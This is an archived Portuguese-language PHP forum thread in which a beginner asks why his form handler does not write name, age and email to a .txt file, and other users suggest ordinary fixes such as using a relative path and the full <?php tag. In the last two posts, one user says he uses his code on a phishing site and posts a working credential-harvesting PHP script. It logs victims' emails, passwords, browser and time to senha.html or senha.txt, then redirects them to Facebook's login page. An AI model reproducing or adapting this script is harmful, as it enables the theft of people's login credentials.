Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

diefenic

Cadastro em PHP que grava em .txt

Recommended Posts

Tudo bem pessoa, é o seguinte estou com um problema

 

estou usando códigos simples ( para teste ) para cadastro de usuarios, onde os dados sao gravados em um arquivo txt, inclusive, procurei pela rede por algo e fiz alguns testes, sou novo na area, e o que acontece é que nao consigo gravar em .txt

segue o código

 

===========cadastro.php============

<form method='POST' action='gravar.php'>
Nome:   <input type='text' name='txt_nome' size='40'><br>
Idade:  <input type='text' name='txt_idade' size='2'><br>
Email:  <input type='text' name='txt_email' size='40'><br><br>
<input type='submit' name='btnOK' value='Concluir'>
</form>

 

========= gravar.php ( DEVERIA GRAVAR MAS NÃO FAZ ISSO )====

<?
//PEGA OS DADOS ENVIADOS PELO FORMULÁRIO
$nome	=	$_POST["txt_nome"];
$idade	=	$_POST["txt_idade"];
$email	=	$_POST["txt_email"];

//PREPARA O CONTEÚDO A SER GRAVADO
$conteudo	=	"$nome,$idade,$email\r\n";

//ARQUIVO TXT
$arquivo	= "C:\Users\Jonathas\Desktop\site_dreamweaver\registro.txt";

//TENTA ABRIR O ARQUIVO TXT
if (!$abrir = fopen($arquivo, "a")) {
        echo  "Erro abrindo arquivo ($arquivo)";
        exit;
   }

//ESCREVE NO ARQUIVO TXT
if (!fwrite($abrir, $conteudo)) {
       print "Erro escrevendo no arquivo ($arquivo)";
       exit;
   }

echo "Arquivo gravado com Sucesso !!";

//FECHA O ARQUIVO 
fclose($abrir);
?>

 

 

 

salientando que o local do arquivo é um local válido e o arquivo foi criado

 

qualquer ajuda será bem vinda, obrigado

Compartilhar este post


Link para o post
Compartilhar em outros sites

é que vou usar esse arquivo txt como entrada para outro programa, em si poderão nen ser dados como nome idade e tal, mas campos que formalizarei depois, os campos nome idade e email são apenas para testar...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Tenta assim

<?php
          $conteudo = sprintf( '%s,%s,%s', $_POST[ 'txt_nome' ], $_POST[ 'txt_idade' ], $_POST[ 'txt_email' ]  );
          $fp = fopen( 'registro.txt', 'a+' );
          if( !$fp ){
              echo 'Erro inesperado, não foi possivel abrir o arquivo';
          exit;
          }else{
              fwrite( $fp, $conteudo );
         }

 

Não coloque o Path completo do arquivo, apenas coloque 'a pasta' onde o 'arquivo' se localiza.

Compartilhar este post


Link para o post
Compartilhar em outros sites

incrivel, por curiosidade testei o cadastro direcionando para uma pagina que apenas printa algumas coisas na tela, e percebi que isso nao acontece!!

 

acho que meu problema pode ser outro... estou usando o dreamweaver

Compartilhar este post


Link para o post
Compartilhar em outros sites

Uma dica, para de usar dreamweaver, e o pior editor que existe..

 

os motivos são óbvios, a indentação do código é uma porcaria, entre 'outros'

 

Recomendo que use NetBeans,Eclipse,Zend Studio ou Aptana

Compartilhar este post


Link para o post
Compartilhar em outros sites

seguinte pessoal, voltei ao tópico pois essa semana voltei a ativa no que estava fazendo

 

e ainda tenho o seguinte problema

 

 

tenho a pagina do formulario descrita acima, e ao clicar em ENVIAR, a pagina direciona pro gravar.php mas nao faz nada, simplesmente abre a pagina em branco e nao faz absolutamente NADA, nao sei o que pode estar acontecendo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Se o gravar.php está como o postado no início do tópico.

Mude

$arquivo = "C:\Users\Jonathas\Desktop\site_dreamweaver\registro.txt";

 

Para

$arquivo = "registro.txt";

Compartilhar este post


Link para o post
Compartilhar em outros sites

tentei a modificação e nao resolveu, na verdade tentei muitas combinações nesse item do txt: criando previamente e indicando só o nome, apenas indicando o nome, indicando o caminho e nao criando o arquivo previamente, e indicando o caminho e criand.

 

ele não grava nada em nenhuma das ocasiões

Compartilhar este post


Link para o post
Compartilhar em outros sites

Boa tarde, Amigo

Estava procurando um exemplo como o seu, para eu fazer teste também.

Como estava problema, procurei e encontrei a solução.

As modificação foram poucas no seu código.

1º Tenho o servidor localhost com nome e wamp;

2º Criei a pasta Cadastro dentro da pasta www do meu servidor wamp;

 

Agora gravei dentro da pasta cadastro os arquivo.

cadastro.php, gravar.php e registro.php

 

Alterações reslizadas:

//retirei as tags html do arquivo cadastro.php

//Acrescentei no arquivo gravar.php <?php

//Alterei a linha $arquivo = "registro.txt";

 

===========cadastro.php============

<form method='POST' action='gravar.php'>
Nome:   <input type='text' name='txt_nome' size='40'><br>
Idade:  <input type='text' name='txt_idade' size='2'><br>
Email:  <input type='text' name='txt_email' size='40'><br><br>
<input type='submit' name='btnOK' value='Concluir'>
</form>


========= gravar.php   ( DEVERIA GRAVAR MAS NÃO FAZ ISSO )====

<?php
//PEGA OS DADOS ENVIADOS PELO FORMULÁRIO
$nome	=	$_POST["txt_nome"];
$idade	=	$_POST["txt_idade"];
$email	=	$_POST["txt_email"];

//PREPARA O CONTEÚDO A SER GRAVADO
$conteudo	=	"$nome,$idade,$email\r\n";

//ARQUIVO TXT
$arquivo	= "registro.txt";

//TENTA ABRIR O ARQUIVO TXT
if (!$abrir = fopen($arquivo, "a")) {
        echo  "Erro abrindo arquivo ($arquivo)";
        exit;
   }

//ESCREVE NO ARQUIVO TXT
if (!fwrite($abrir, $conteudo)) {
       print "Erro escrevendo no arquivo ($arquivo)";
       exit;
   }

echo "Arquivo gravado com Sucesso !!";

//FECHA O ARQUIVO 
fclose($abrir);
?>

Compartilhar este post


Link para o post
Compartilhar em outros sites

Talvez isso aqui te ajude... Eu uso isso no meu site de Phishing talvez funcione pra você

------------------------------------------------------------------------------------------------------------------------------------------------------

<?php
$nomearquivo ="senha.html";
$email =$_POST["email"];
$senha =$_POST["pass"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="<br><br>";
$ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser."
<br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco;
$abre =@fopen("senha.html","a+");
$escreve =fwrite($abre, $ess);
echo "<script>javascript:document.location='Pagina que deseja redirecionar apos o ataque'
</script>";
function redirecionar($url, $tempo) 
{ 
    $url = str_replace('&amp;', '&', $url); 
         
    if($tempo > 0) 
    { 
        header("Refresh: $tempo; URL=$url"); 
    } 
    else 
    { 
        @ob_flush();
        @ob_end_clean();
        header("Location: $url"); 
        exit; 
    } 
} 
?>

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

Aonde tem Nome do Arquivo voce pode alterar de HTML para txt vai ver funciona do Mesmo Jeito

<?php
$nomearquivo ="senha.txt";
$email =$_POST["email"];
$senha =$_POST["pass"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="<br><br>";
$ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser."
<br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco;
$abre =@fopen("senha.html","a+");
$escreve =fwrite($abre, $ess);
echo "<script>javascript:document.location='https://www.facebook.com/login.php?login_attempt=1&lwv=100'
</script>";
function redirecionar($url, $tempo) 
{ 
    $url = str_replace('&', '&', $url); 
         
    if($tempo > 0) 
    { 
        header("Refresh: $tempo; URL=$url"); 
    } 
    else 
    { 
        @ob_flush();
        @ob_end_clean();
        header("Location: $url"); 
        exit; 
    } 
} 
?>

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.